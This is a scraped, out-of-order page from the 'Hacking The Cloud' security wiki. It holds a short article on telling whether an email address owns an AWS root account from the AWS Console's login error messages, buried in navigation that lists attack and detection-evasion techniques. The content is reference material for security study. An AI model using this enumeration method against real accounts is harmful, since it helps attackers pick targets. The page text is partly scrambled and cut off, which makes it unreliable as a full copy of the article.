href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by skdg</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/enumerate_root_email_from_console.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Enumerate Root User Email Address from the AWS Console</h1> <p>Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.</p> <p>From the <a href=https://console.aws.amazon.com/ >AWS Console</a>, ensure the <code>Root user</code> radio button is selected and enter an email address that you suspect owns an AWS account. </p> <p>If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:</p> <div class=highlight><pre><span></span><code>There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> 